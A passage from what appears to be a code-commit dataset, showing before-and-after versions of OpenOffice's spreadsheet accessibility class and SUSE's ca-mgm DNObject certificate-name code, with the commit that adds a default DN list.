(getAccessibleParent().is())\n {\n uno::Reference<XAccessibleComponent> xAccessibleComponent(getAccessibleParent()->getAccessibleContext(), uno::UNO_QUERY);\n if (xAccessibleComponent.is())\n {\n xAccessibleComponent->grabFocus();\n \/\/ grab only focus if it does not have the focus and it is not hidden\n if (mpViewShell && mpViewShell->GetViewData() &&\n (mpViewShell->GetViewData()->GetActivePart() != meSplitPos) &&\n mpViewShell->GetWindowByPos(meSplitPos)->IsVisible())\n {\n mpViewShell->ActivatePart(meSplitPos);\n }\n }\n }\n}\n\n \/\/===== XAccessibleContext ==============================================\n\n \/\/\/ Return the number of currently visible children.\nlong SAL_CALL\n ScAccessibleDocument::getAccessibleChildCount(void)\n throw (uno::RuntimeException)\n{\n ScUnoGuard aGuard;\n sal_Int32 nShapes (0);\n SdrPage* pDrawPage = GetDrawPage();\n if (pDrawPage)\n {\n sal_uInt32 nObjCount(pDrawPage->GetObjCount());\n for (sal_uInt32 i = 0; i < nObjCount; i++)\n {\n SdrObject* pObj = pDrawPage->GetObj(i);\n if (pObj && (pObj->GetLayer() != SC_LAYER_INTERN))\n nShapes++;\n }\n }\n return nShapes + 1;\n}\n\n \/\/\/ Return the specified child or NULL if index is invalid.\nuno::Reference<XAccessible> SAL_CALL\n ScAccessibleDocument::getAccessibleChild(long nIndex)\n throw (uno::RuntimeException,\n lang::IndexOutOfBoundsException)\n{\n ScUnoGuard aGuard;\n uno::Reference<XAccessible> xAccessible;\/\/ = GetChild(nIndex);\n if (!xAccessible.is())\n {\n if (nIndex == 0)\n xAccessible = GetAccessibleSpreadsheet();\n else\n {\n DBG_ERROR(\"should return other childs here\");\n \/\/ there is no child with this index at the moment\n throw lang::IndexOutOfBoundsException();\n }\n\n \/\/SetChild(nIndex, xAccessible);\n }\n return xAccessible;\n}\n\n \/\/\/ Return the set of current states.\nuno::Reference<XAccessibleStateSet> SAL_CALL\n ScAccessibleDocument::getAccessibleStateSet(void)\n throw (uno::RuntimeException)\n{\n ScUnoGuard aGuard;\n uno::Reference<XAccessibleStateSet> xParentStates;\n if (getAccessibleParent().is())\n {\n uno::Reference<XAccessibleContext> xParentContext = getAccessibleParent()->getAccessibleContext();\n xParentStates = xParentContext->getAccessibleStateSet();\n }\n utl::AccessibleStateSetHelper* pStateSet = new utl::AccessibleStateSetHelper();\n if (IsDefunc(xParentStates))\n pStateSet->AddState(AccessibleStateType::DEFUNC);\n if (IsEditable(xParentStates))\n pStateSet->AddState(AccessibleStateType::EDITABLE);\n pStateSet->AddState(AccessibleStateType::ENABLED);\n pStateSet->AddState(AccessibleStateType::OPAQUE);\n if (isShowing())\n pStateSet->AddState(AccessibleStateType::SHOWING);\n if (isVisible())\n pStateSet->AddState(AccessibleStateType::VISIBLE);\n return pStateSet;\n}\n\n \/\/===== XServiceInfo ====================================================\n\n::rtl::OUString SAL_CALL\n ScAccessibleDocument::getImplementationName(void)\n throw (uno::RuntimeException)\n{\n return ::rtl::OUString(RTL_CONSTASCII_USTRINGPARAM (\"ScAccessibleDocument\"));\n}\n\nuno::Sequence< ::rtl::OUString> SAL_CALL\n ScAccessibleDocument::getSupportedServiceNames(void)\n throw (uno::RuntimeException)\n{\n uno::Sequence< ::rtl::OUString > aSequence = ScAccessibleContextBase::getSupportedServiceNames();\n sal_Int32 nOldSize(aSequence.getLength());\n aSequence.realloc(nOldSize + 1);\n ::rtl::OUString* pNames = aSequence.getArray();\n\n pNames[nOldSize] = rtl::OUString(RTL_CONSTASCII_USTRINGPARAM(\"drafts.com.sun.star.AccessibleSpreadsheetDocumentView\"));\n\n return aSequence;\n}\n\n\/\/===== XTypeProvider =======================================================\n\nuno::Sequence<sal_Int8> SAL_CALL\n ScAccessibleDocument::getImplementationId(void)\n throw (uno::RuntimeException)\n{\n ScUnoGuard aGuard;\n static uno::Sequence<sal_Int8> aId;\n if (aId.getLength() == 0)\n {\n aId.realloc (16);\n rtl_createUuid ((sal_uInt8 *)aId.getArray(), 0, sal_True);\n }\n return aId;\n}\n\n \/\/===== internal ========================================================\n\n::rtl::OUString SAL_CALL\n ScAccessibleDocument::createAccessibleDescription(void)\n throw (uno::RuntimeException)\n{\n return rtl::OUString(RTL_CONSTASCII_USTRINGPARAM (\"This is a view of a Spreadsheet Document.\"));\n}\n\n::rtl::OUString SAL_CALL\n ScAccessibleDocument::createAccessibleName(void)\n throw (uno::RuntimeException)\n{\n ScUnoGuard aGuard;\n rtl::OUString sName(RTL_CONSTASCII_USTRINGPARAM (\"Spreadsheet Document View \"));\n sal_Int32 nNumber(sal_Int32(meSplitPos) + 1);\n sName += rtl::OUString::valueOf(nNumber);\n return sName;\n}\n\nRectangle ScAccessibleDocument::GetBoundingBoxOnScreen()\n throw (uno::RuntimeException)\n{\n Rectangle aRect;\n if (mpViewShell)\n {\n Window* pWindow = mpViewShell->GetWindowByPos(meSplitPos);\n if (pWindow)\n aRect = pWindow->GetWindowExtentsRelative(NULL);\n }\n return aRect;\n}\n\nRectangle ScAccessibleDocument::GetBoundingBox()\n throw (uno::RuntimeException)\n{\n Rectangle aRect;\n if (mpViewShell)\n {\n Window* pWindow = mpViewShell->GetWindowByPos(meSplitPos);\n if (pWindow)\n aRect = pWindow->GetWindowExtentsRelative(pWindow->GetAccessibleParentWindow());\n }\n return aRect;\n}\n\nsal_uInt16 ScAccessibleDocument::getVisibleTable()\n{\n sal_uInt16 nVisibleTable(0);\n if (mpViewShell && mpViewShell->GetViewData())\n nVisibleTable = mpViewShell->GetViewData()->GetTabNo();\n return nVisibleTable;\n}\n\nuno::Reference < XAccessible >\n ScAccessibleDocument::GetAccessibleSpreadsheet()\n{\n if (!mpAccessibleSpreadsheet && mpViewShell)\n {\n mpAccessibleSpreadsheet = new ScAccessibleSpreadsheet(this, mpViewShell, getVisibleTable(), meSplitPos);\n mpAccessibleSpreadsheet->acquire();\n mpAccessibleSpreadsheet->Init();\n }\n return mpAccessibleSpreadsheet;\n}\n\nvoid ScAccessibleDocument::FreeAccessibleSpreadsheet()\n{\n if (mpAccessibleSpreadsheet)\n {\n mpAccessibleSpreadsheet->SetDefunc();\n mpAccessibleSpreadsheet->release();\n mpAccessibleSpreadsheet = NULL;\n }\n}\n\nSdrPage* ScAccessibleDocument::GetDrawPage()\n{\n sal_uInt16 nTab(getVisibleTable());\n SdrPage* pDrawPage = NULL;\n if (mpViewShell && mpViewShell->GetViewData())\n {\n ScDocument* pDoc = mpViewShell->GetViewData()->GetDocument();\n if (pDoc && pDoc->GetDrawLayer())\n {\n ScDrawLayer* pDrawLayer = pDoc->GetDrawLayer();\n if (pDrawLayer->HasObjects() && (pDrawLayer->GetPageCount() > nTab))\n pDrawPage = pDrawLayer->GetPage(nTab);\n }\n }\n return pDrawPage;\n}\n\nsal_Bool ScAccessibleDocument::IsDefunc(\n const uno::Reference<XAccessibleStateSet>& rxParentStates)\n{\n return (mpViewShell == NULL) || !getAccessibleParent().is() ||\n (rxParentStates.is() && rxParentStates->contains(AccessibleStateType::DEFUNC));\n}\n\nsal_Bool ScAccessibleDocument::IsEditable(\n const uno::Reference<XAccessibleStateSet>& rxParentStates)\n{\n \/\/ what is with document protection?\n return sal_True;\n}\n<commit_msg>#95584#; Eventsource is a XAccessible<commit_after>\/*************************************************************************\n *\n * $RCSfile: AccessibleDocument.cxx,v $\n *\n * $Revision: 1.16 $\n *\n * last change: $Author: sab $ $Date: 2002-03-14 15:29:58 $\n *\n * The Contents of this file are made available subject to the terms of\n * either of the following licenses\n *\n * - GNU Lesser General Public License Version 2.1\n * - Sun Industry Standards Source License Version 1.1\n *\n * Sun Microsystems Inc., October, 2000\n *\n * GNU Lesser General Public License Version 2.1\n * =============================================\n * Copyright 2000 by Sun Microsystems, Inc.\n * 901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License version 2.1, as published by the Free Software Foundation.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n * MA 02111-1307 USA\n *\n *\n * Sun Industry Standards Source License Version 1.1\n * =================================================\n * The contents of this file are subject to the Sun Industry Standards\n * Source License Version 1.1 (the \"License\"); You may not use this file\n * except in compliance with the License. You may obtain a copy of the\n * License at http:\/\/www.openoffice.org\/license.html.\n *\n * Software provided under this License is provided on an \"AS IS\" basis,\n * WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING,\n * WITHOUT LIMITATION, WARRANTIES THAT THE SOFTWARE IS FREE OF DEFECTS,\n * MERCHANTABLE, FIT FOR A PARTICULAR PURPOSE, OR NON-INFRINGING.\n * See the License for the specific provisions governing your rights and\n * obligations concerning the Software.\n *\n * The Initial Developer of the Original Code is: Sun Microsystems, Inc.\n *\n * Copyright: 2000 by Sun Microsystems, Inc.\n *\n * All Rights Reserved.\n *\n * Contributor(s): _______________________________________\n *\n *\n ************************************************************************\/\n\n\n#ifndef _SC_ACCESSIBLEDOCUMENT_HXX\n#include \"AccessibleDocument.hxx\"\n#endif\n#ifndef _SC_ACCESSIBLESPREADSHEET_HXX\n#include \"AccessibleSpreadsheet.hxx\"\n#endif\n#ifndef SC_TABVWSH_HXX\n#include \"tabvwsh.hxx\"\n#endif\n#ifndef SC_ACCESSIBILITYHINTS_HXX\n#include \"AccessibilityHints.hxx\"\n#endif\n#ifndef SC_DOCUMENT_HXX\n#include \"document.hxx\"\n#endif\n#ifndef SC_DRWLAYER_HXX\n#include \"drwlayer.hxx\"\n#endif\n#ifndef SC_UNOGUARD_HXX\n#include \"unoguard.hxx\"\n#endif\n\n#ifndef _DRAFTS_COM_SUN_STAR_ACCESSIBILITY_ACCESSIBLEEVENTID_HPP_\n#include <drafts\/com\/sun\/star\/accessibility\/AccessibleEventId.hpp>\n#endif\n#ifndef _DRAFTS_COM_SUN_STAR_ACCESSIBILITY_XACCESSIBLESTATETYPE_HPP_\n#include <drafts\/com\/sun\/star\/accessibility\/AccessibleStateType.hpp>\n#endif\n\n#ifndef _UTL_ACCESSIBLESTATESETHELPER_HXX\n#include <unotools\/accessiblestatesethelper.hxx>\n#endif\n#ifndef _TOOLS_DEBUG_HXX\n#include <tools\/debug.hxx>\n#endif\n#ifndef _SV_GEN_HXX\n#include <tools\/gen.hxx>\n#endif\n#ifndef _SVDPAGE_HXX\n#include <svx\/svdpage.hxx>\n#endif\n#ifndef _SVDOBJ_HXX\n#include <svx\/svdobj.hxx>\n#endif\n\nusing namespace ::com::sun::star;\nusing namespace ::drafts::com::sun::star::accessibility;\n\n \/\/===== internal ========================================================\n\nScAccessibleDocument::ScAccessibleDocument(\n const uno::Reference<XAccessible>& rxParent,\n ScTabViewShell* pViewShell,\n ScSplitPos eSplitPos)\n : ScAccessibleDocumentBase(rxParent),\n mpViewShell(pViewShell),\n meSplitPos(eSplitPos),\n mpAccessibleSpreadsheet(NULL)\n{\n if (pViewShell)\n pViewShell->AddAccessibilityObject(*this);\n}\n\nScAccessibleDocument::~ScAccessibleDocument(void)\n{\n FreeAccessibleSpreadsheet();\n if (mpViewShell)\n {\n mpViewShell->RemoveAccessibilityObject(*this);\n }\n}\n\nvoid ScAccessibleDocument::SetDefunc()\n{\n FreeAccessibleSpreadsheet();\n if (mpViewShell)\n {\n mpViewShell->RemoveAccessibilityObject(*this);\n mpViewShell = NULL;\n }\n\n ScAccessibleDocumentBase::SetDefunc();\n}\n\n \/\/===== SfxListener =====================================================\n\nvoid ScAccessibleDocument::Notify( SfxBroadcaster& rBC, const SfxHint& rHint )\n{\n if (rHint.ISA( ScAccGridViewChangeHint ) )\n {\n const ScAccGridViewChangeHint& rRef = (const ScAccGridViewChangeHint&)rHint;\n if ((rRef.GetOldGridWin() == meSplitPos) ||\n (rRef.GetNewGridWin() == meSplitPos))\n {\n awt::FocusEvent aFocusEvent;\n aFocusEvent.Temporary = sal_False;\n if (rRef.GetOldGridWin() == meSplitPos)\n {\n aFocusEvent.NextFocus = rRef.GetNewAccessible();\n CommitFocusLost(aFocusEvent);\n }\n else\n {\n aFocusEvent.NextFocus = rRef.GetOldAccessible();\n CommitFocusGained(aFocusEvent);\n }\n }\n }\n else if (rHint.ISA( SfxSimpleHint ))\n {\n const SfxSimpleHint& rRef = (const SfxSimpleHint&)rHint;\n \/\/ only notify if child exist, otherwise it is not necessary\n if ((rRef.GetId() == SC_HINT_ACC_TABLECHANGED) &&\n mpAccessibleSpreadsheet)\n {\n AccessibleEventObject aEvent;\n aEvent.EventId = AccessibleEventId::ACCESSIBLE_CHILD_EVENT;\n aEvent.Source = uno::Reference< XAccessible >(this);\n aEvent.OldValue <<= GetAccessibleSpreadsheet();\n\n CommitChange(aEvent); \/\/ child is gone - event\n\n aEvent.OldValue = uno::Any();\n FreeAccessibleSpreadsheet(); \/\/ free the spreadsheet after free the reference on this object\n aEvent.NewValue <<= GetAccessibleSpreadsheet();\n\n CommitChange(aEvent); \/\/ there is a new child - event\n }\n else if (rRef.GetId() == SFX_HINT_DYING)\n {\n \/\/ it seems the Broadcaster is dying, since the view is dying\n SetDefunc();\n }\n }\n}\n\n \/\/===== XAccessibleComponent ============================================\n\nuno::Reference< XAccessible > SAL_CALL ScAccessibleDocument::getAccessibleAt(\n const awt::Point& rPoint )\n throw (uno::RuntimeException)\n{\n ScUnoGuard aGuard;\n uno::Reference<XAccessible> xAccessible = NULL;\n SdrPage* pDrawPage = GetDrawPage();\n if (pDrawPage)\n {\n DBG_ERROR(\"not implemented\");\n }\n else\n xAccessible = GetAccessibleSpreadsheet();\n return xAccessible;\n}\n\nvoid SAL_CALL ScAccessibleDocument::grabFocus( )\n throw (uno::RuntimeException)\n{\n ScUnoGuard aGuard;\n if (getAccessibleParent().is())\n {\n uno::Reference<XAccessibleComponent> xAccessibleComponent(getAccessibleParent()->getAccessibleContext(), uno::UNO_QUERY);\n if (xAccessibleComponent.is())\n {\n xAccessibleComponent->grabFocus();\n \/\/ grab only focus if it does not have the focus and it is not hidden\n if (mpViewShell && mpViewShell->GetViewData() &&\n (mpViewShell->GetViewData()->GetActivePart() != meSplitPos) &&\n mpViewShell->GetWindowByPos(meSplitPos)->IsVisible())\n {\n mpViewShell->ActivatePart(meSplitPos);\n }\n }\n }\n}\n\n \/\/===== XAccessibleContext ==============================================\n\n \/\/\/ Return the number of currently visible children.\nlong SAL_CALL\n ScAccessibleDocument::getAccessibleChildCount(void)\n throw (uno::RuntimeException)\n{\n ScUnoGuard aGuard;\n sal_Int32 nShapes (0);\n SdrPage* pDrawPage = GetDrawPage();\n if (pDrawPage)\n {\n sal_uInt32 nObjCount(pDrawPage->GetObjCount());\n for (sal_uInt32 i = 0; i < nObjCount; i++)\n {\n SdrObject* pObj = pDrawPage->GetObj(i);\n if (pObj && (pObj->GetLayer() != SC_LAYER_INTERN))\n nShapes++;\n }\n }\n return nShapes + 1;\n}\n\n \/\/\/ Return the specified child or NULL if index is invalid.\nuno::Reference<XAccessible> SAL_CALL\n ScAccessibleDocument::getAccessibleChild(long nIndex)\n throw (uno::RuntimeException,\n lang::IndexOutOfBoundsException)\n{\n ScUnoGuard aGuard;\n uno::Reference<XAccessible> xAccessible;\/\/ = GetChild(nIndex);\n if (!xAccessible.is())\n {\n if (nIndex == 0)\n xAccessible = GetAccessibleSpreadsheet();\n else\n {\n DBG_ERROR(\"should return other childs here\");\n \/\/ there is no child with this index at the moment\n throw lang::IndexOutOfBoundsException();\n }\n\n \/\/SetChild(nIndex, xAccessible);\n }\n return xAccessible;\n}\n\n \/\/\/ Return the set of current states.\nuno::Reference<XAccessibleStateSet> SAL_CALL\n ScAccessibleDocument::getAccessibleStateSet(void)\n throw (uno::RuntimeException)\n{\n ScUnoGuard aGuard;\n uno::Reference<XAccessibleStateSet> xParentStates;\n if (getAccessibleParent().is())\n {\n uno::Reference<XAccessibleContext> xParentContext = getAccessibleParent()->getAccessibleContext();\n xParentStates = xParentContext->getAccessibleStateSet();\n }\n utl::AccessibleStateSetHelper* pStateSet = new utl::AccessibleStateSetHelper();\n if (IsDefunc(xParentStates))\n pStateSet->AddState(AccessibleStateType::DEFUNC);\n if (IsEditable(xParentStates))\n pStateSet->AddState(AccessibleStateType::EDITABLE);\n pStateSet->AddState(AccessibleStateType::ENABLED);\n pStateSet->AddState(AccessibleStateType::OPAQUE);\n if (isShowing())\n pStateSet->AddState(AccessibleStateType::SHOWING);\n if (isVisible())\n pStateSet->AddState(AccessibleStateType::VISIBLE);\n return pStateSet;\n}\n\n \/\/===== XServiceInfo ====================================================\n\n::rtl::OUString SAL_CALL\n ScAccessibleDocument::getImplementationName(void)\n throw (uno::RuntimeException)\n{\n return ::rtl::OUString(RTL_CONSTASCII_USTRINGPARAM (\"ScAccessibleDocument\"));\n}\n\nuno::Sequence< ::rtl::OUString> SAL_CALL\n ScAccessibleDocument::getSupportedServiceNames(void)\n throw (uno::RuntimeException)\n{\n uno::Sequence< ::rtl::OUString > aSequence = ScAccessibleContextBase::getSupportedServiceNames();\n sal_Int32 nOldSize(aSequence.getLength());\n aSequence.realloc(nOldSize + 1);\n ::rtl::OUString* pNames = aSequence.getArray();\n\n pNames[nOldSize] = rtl::OUString(RTL_CONSTASCII_USTRINGPARAM(\"drafts.com.sun.star.AccessibleSpreadsheetDocumentView\"));\n\n return aSequence;\n}\n\n\/\/===== XTypeProvider =======================================================\n\nuno::Sequence<sal_Int8> SAL_CALL\n ScAccessibleDocument::getImplementationId(void)\n throw (uno::RuntimeException)\n{\n ScUnoGuard aGuard;\n static uno::Sequence<sal_Int8> aId;\n if (aId.getLength() == 0)\n {\n aId.realloc (16);\n rtl_createUuid ((sal_uInt8 *)aId.getArray(), 0, sal_True);\n }\n return aId;\n}\n\n \/\/===== internal ========================================================\n\n::rtl::OUString SAL_CALL\n ScAccessibleDocument::createAccessibleDescription(void)\n throw (uno::RuntimeException)\n{\n return rtl::OUString(RTL_CONSTASCII_USTRINGPARAM (\"This is a view of a Spreadsheet Document.\"));\n}\n\n::rtl::OUString SAL_CALL\n ScAccessibleDocument::createAccessibleName(void)\n throw (uno::RuntimeException)\n{\n ScUnoGuard aGuard;\n rtl::OUString sName(RTL_CONSTASCII_USTRINGPARAM (\"Spreadsheet Document View \"));\n sal_Int32 nNumber(sal_Int32(meSplitPos) + 1);\n sName += rtl::OUString::valueOf(nNumber);\n return sName;\n}\n\nRectangle ScAccessibleDocument::GetBoundingBoxOnScreen()\n throw (uno::RuntimeException)\n{\n Rectangle aRect;\n if (mpViewShell)\n {\n Window* pWindow = mpViewShell->GetWindowByPos(meSplitPos);\n if (pWindow)\n aRect = pWindow->GetWindowExtentsRelative(NULL);\n }\n return aRect;\n}\n\nRectangle ScAccessibleDocument::GetBoundingBox()\n throw (uno::RuntimeException)\n{\n Rectangle aRect;\n if (mpViewShell)\n {\n Window* pWindow = mpViewShell->GetWindowByPos(meSplitPos);\n if (pWindow)\n aRect = pWindow->GetWindowExtentsRelative(pWindow->GetAccessibleParentWindow());\n }\n return aRect;\n}\n\nsal_uInt16 ScAccessibleDocument::getVisibleTable()\n{\n sal_uInt16 nVisibleTable(0);\n if (mpViewShell && mpViewShell->GetViewData())\n nVisibleTable = mpViewShell->GetViewData()->GetTabNo();\n return nVisibleTable;\n}\n\nuno::Reference < XAccessible >\n ScAccessibleDocument::GetAccessibleSpreadsheet()\n{\n if (!mpAccessibleSpreadsheet && mpViewShell)\n {\n mpAccessibleSpreadsheet = new ScAccessibleSpreadsheet(this, mpViewShell, getVisibleTable(), meSplitPos);\n mpAccessibleSpreadsheet->acquire();\n mpAccessibleSpreadsheet->Init();\n }\n return mpAccessibleSpreadsheet;\n}\n\nvoid ScAccessibleDocument::FreeAccessibleSpreadsheet()\n{\n if (mpAccessibleSpreadsheet)\n {\n mpAccessibleSpreadsheet->SetDefunc();\n mpAccessibleSpreadsheet->release();\n mpAccessibleSpreadsheet = NULL;\n }\n}\n\nSdrPage* ScAccessibleDocument::GetDrawPage()\n{\n sal_uInt16 nTab(getVisibleTable());\n SdrPage* pDrawPage = NULL;\n if (mpViewShell && mpViewShell->GetViewData())\n {\n ScDocument* pDoc = mpViewShell->GetViewData()->GetDocument();\n if (pDoc && pDoc->GetDrawLayer())\n {\n ScDrawLayer* pDrawLayer = pDoc->GetDrawLayer();\n if (pDrawLayer->HasObjects() && (pDrawLayer->GetPageCount() > nTab))\n pDrawPage = pDrawLayer->GetPage(nTab);\n }\n }\n return pDrawPage;\n}\n\nsal_Bool ScAccessibleDocument::IsDefunc(\n const uno::Reference<XAccessibleStateSet>& rxParentStates)\n{\n return (mpViewShell == NULL) || !getAccessibleParent().is() ||\n (rxParentStates.is() && rxParentStates->contains(AccessibleStateType::DEFUNC));\n}\n\nsal_Bool ScAccessibleDocument::IsEditable(\n const uno::Reference<XAccessibleStateSet>& rxParentStates)\n{\n \/\/ what is with document protection?\n return sal_True;\n}\n<|endoftext|>"} {"text":"<commit_before>\/*---------------------------------------------------------------------\\\n| |\n| _ _ _ _ __ _ |\n| | | | | | \\_\/ | \/ \\ | | |\n| | | | | | |_| | \/ \/\\ \\ | | |\n| | |__ | | | | | | \/ ____ \\ | |__ |\n| |____||_| |_| |_|\/ \/ \\ \\|____| |\n| |\n| ca-mgm library |\n| |\n| (C) SUSE Linux Products GmbH |\n\\----------------------------------------------------------------------\/\n\n File: DNObject.cpp\n\n Author: <Michael Calmer> <mc@suse.de>\n Maintainer: <Michael Calmer> <mc@suse.de>\n\n Purpose:\n\n\/-*\/\n\n#include <limal\/ca-mgm\/DNObject.hpp>\n#include <limal\/ValueRegExCheck.hpp>\n#include <limal\/Exception.hpp>\n#include <blocxx\/Format.hpp>\n\n#include \"Utils.hpp\"\n\nusing namespace limal;\nusing namespace limal::ca_mgm;\nusing namespace blocxx;\n\nRDNObject::RDNObject()\n : type(String()), value(String())\n{\n}\n\nRDNObject::RDNObject(const String& type, const String& value)\n : type(type), value(value)\n{}\n\nRDNObject::RDNObject(const RDNObject& rdn)\n : type(rdn.type), value(rdn.value)\n{}\n\nRDNObject::~RDNObject()\n{}\n\nRDNObject&\nRDNObject::operator=(const RDNObject& rdn)\n{\n if(this == &rdn) return *this;\n \n type = rdn.type;\n value = rdn.value;\n\n return *this;\n}\n\nvoid\nRDNObject::setRDN(const String& type, const String& value)\n{\n this->type = type;\n this->value = value;\n}\n\n\nblocxx::String\nRDNObject::getType() const\n{\n return type;\n}\n\nblocxx::String\nRDNObject::getValue() const\n{\n return value;\n}\n\nbool\nRDNObject::valid() const\n{\n if(type.empty()) {\n LOGIT_DEBUG(\"type is empty\");\n return false;\n }\n if(value.empty()) {\n LOGIT_DEBUG(\"value is empty\");\n return false;\n }\n \/\/ FIXME: define and check pre defined types ?\n\n return true;\n}\n\nblocxx::StringArray\nRDNObject::verify() const\n{\n StringArray result;\n\n if(type.empty()) {\n result.append(\"type is empty\");\n }\n if(value.empty()) {\n result.append(\"value is empty\");\n }\n \/\/ FIXME: define and check pre defined types ?\n\n LOGIT_DEBUG_STRINGARRAY(\"RDNObject::verify()\", result);\n\n return result;\n}\n\nblocxx::StringArray\nRDNObject::dump() const\n{\n StringArray result;\n result.append(\"RDNObject::dump()\");\n\n result.append(type + \"=\" + value);\n\n return result;\n}\n\n\/\/ ######################################################################\n\nDNObject::DNObject()\n : dn(blocxx::List<RDNObject>())\n{\n}\n\nDNObject::DNObject(const blocxx::List<RDNObject> &dn)\n : dn(dn)\n{\n StringArray r = this->verify();\n if(!r.empty()) {\n BLOCXX_THROW(limal::ValueException, r[0].c_str());\n }\n}\n\nDNObject::DNObject(const DNObject& dn)\n : dn(dn.dn)\n{}\n\nDNObject::~DNObject()\n{}\n\nDNObject&\nDNObject::operator=(const DNObject& dn)\n{\n if(this == &dn) return *this;\n \n this->dn = dn.dn;\n \n return *this;\n}\n\nvoid\nDNObject::setDN(const blocxx::List<RDNObject> &dn)\n{\n StringArray r = checkRDNList(dn);\n if(!r.empty()) {\n LOGIT_ERROR(r[0]);\n BLOCXX_THROW(limal::ValueException, r[0].c_str());\n }\n this->dn = dn;\n}\n\nblocxx::List<RDNObject>\nDNObject::getDN() const\n{\n return dn;\n}\n\nbool\nDNObject::valid() const\n{\n if(dn.empty()) {\n LOGIT_DEBUG(\"empty DN\");\n return false;\n }\n StringArray r = checkRDNList(dn);\n if(!r.empty()) {\n LOGIT_DEBUG(r[0]);\n return false;\n }\n return true;\n}\n\nblocxx::StringArray\nDNObject::verify() const\n{\n StringArray result;\n\n if(dn.empty()) {\n result.append(\"empty DN\");\n }\n result.appendArray(checkRDNList(dn));\n \n LOGIT_DEBUG_STRINGARRAY(\"DNObject::verify()\", result);\n \n return result;\n}\n\nblocxx::StringArray\nDNObject::checkRDNList(const blocxx::List<RDNObject>& list) const\n{\n StringArray result;\n \n blocxx::List<RDNObject>::const_iterator it = list.begin();\n for(; it != list.end(); ++it) {\n result.appendArray((*it).verify());\n }\n return result;\n}\n\nblocxx::StringArray\nDNObject::dump() const\n{\n StringArray result;\n result.append(\"DNObject::dump()\");\n\n blocxx::List< RDNObject >::const_iterator it = dn.begin();\n for(; it != dn.end(); ++it) {\n result.appendArray((*it).dump());\n }\n\n return result;\n}\n<commit_msg>return default DN list<commit_after>\/*---------------------------------------------------------------------\\\n| |\n| _ _ _ _ __ _ |\n| | | | | | \\_\/ | \/ \\ | | |\n| | | | | | |_| | \/ \/\\ \\ | | |\n| | |__ | | | | | | \/ ____ \\ | |__ |\n| |____||_| |_| |_|\/ \/ \\ \\|____| |\n| |\n| ca-mgm library |\n| |\n| (C) SUSE Linux Products GmbH |\n\\----------------------------------------------------------------------\/\n\n File: DNObject.cpp\n\n Author: <Michael Calmer> <mc@suse.de>\n Maintainer: <Michael Calmer> <mc@suse.de>\n\n Purpose:\n\n\/-*\/\n\n#include <limal\/ca-mgm\/DNObject.hpp>\n#include <limal\/ValueRegExCheck.hpp>\n#include <limal\/Exception.hpp>\n#include <blocxx\/Format.hpp>\n\n#include \"Utils.hpp\"\n\nusing namespace limal;\nusing namespace limal::ca_mgm;\nusing namespace blocxx;\n\nRDNObject::RDNObject()\n : type(String()), value(String())\n{\n}\n\nRDNObject::RDNObject(const String& type, const String& value)\n : type(type), value(value)\n{}\n\nRDNObject::RDNObject(const RDNObject& rdn)\n : type(rdn.type), value(rdn.value)\n{}\n\nRDNObject::~RDNObject()\n{}\n\nRDNObject&\nRDNObject::operator=(const RDNObject& rdn)\n{\n if(this == &rdn) return *this;\n \n type = rdn.type;\n value = rdn.value;\n\n return *this;\n}\n\nvoid\nRDNObject::setRDN(const String& type, const String& value)\n{\n this->type = type;\n this->value = value;\n}\n\n\nblocxx::String\nRDNObject::getType() const\n{\n return type;\n}\n\nblocxx::String\nRDNObject::getValue() const\n{\n return value;\n}\n\nbool\nRDNObject::valid() const\n{\n if(type.empty()) {\n LOGIT_DEBUG(\"type is empty\");\n return false;\n }\n \/*\n if(value.empty()) {\n LOGIT_DEBUG(\"value is empty\");\n return false;\n }\n *\/\n \/\/ FIXME: define and check pre defined types ?\n\n return true;\n}\n\nblocxx::StringArray\nRDNObject::verify() const\n{\n StringArray result;\n\n if(type.empty()) {\n result.append(\"type is empty\");\n }\n \/*\n if(value.empty()) {\n result.append(\"value is empty\");\n }\n *\/\n \/\/ FIXME: define and check pre defined types ?\n\n LOGIT_DEBUG_STRINGARRAY(\"RDNObject::verify()\", result);\n\n return result;\n}\n\nblocxx::StringArray\nRDNObject::dump() const\n{\n StringArray result;\n result.append(\"RDNObject::dump()\");\n\n result.append(type + \"=\" + value);\n\n return result;\n}\n\n\/\/ ######################################################################\n\nDNObject::DNObject()\n : dn(blocxx::List<RDNObject>())\n{\n dn.push_back(RDNObject(\"countryName\", \"\"));\n dn.push_back(RDNObject(\"stateOrProvinceName\", \"\"));\n dn.push_back(RDNObject(\"localityName\", \"\"));\n dn.push_back(RDNObject(\"organizationName\", \"\"));\n dn.push_back(RDNObject(\"organizationalUnitName\", \"\"));\n dn.push_back(RDNObject(\"commonName\", \"\"));\n dn.push_back(RDNObject(\"emailAddress\", \"\"));\n}\n\nDNObject::DNObject(const blocxx::List<RDNObject> &dn)\n : dn(dn)\n{\n StringArray r = this->verify();\n if(!r.empty()) {\n BLOCXX_THROW(limal::ValueException, r[0].c_str());\n }\n}\n\nDNObject::DNObject(const DNObject& dn)\n : dn(dn.dn)\n{}\n\nDNObject::~DNObject()\n{}\n\nDNObject&\nDNObject::operator=(const DNObject& dn)\n{\n if(this == &dn) return *this;\n \n this->dn = dn.dn;\n \n return *this;\n}\n\nvoid\nDNObject::setDN(const blocxx::List<RDNObject> &dn)\n{\n StringArray r = checkRDNList(dn);\n if(!r.empty()) {\n LOGIT_ERROR(r[0]);\n BLOCXX_THROW(limal::ValueException, r[0].c_str());\n }\n this->dn = dn;\n}\n\nblocxx::List<RDNObject>\nDNObject::getDN() const\n{\n return dn;\n}\n\nbool\nDNObject::valid() const\n{\n if(dn.empty()) {\n LOGIT_DEBUG(\"empty DN\");\n return false;\n }\n StringArray r = checkRDNList(dn);\n if(!r.empty()) {\n LOGIT_DEBUG(r[0]);\n return false;\n }\n return true;\n}\n\nblocxx::StringArray\nDNObject::verify() const\n{\n StringArray result;\n\n if(dn.empty()) {\n result.append(\"empty DN\");\n }\n result.appendArray(checkRDNList(dn));\n \n LOGIT_DEBUG_STRINGARRAY(\"DNObject::verify()\", result);\n \n return result;\n}\n\nblocxx::StringArray\nDNObject::checkRDNList(const 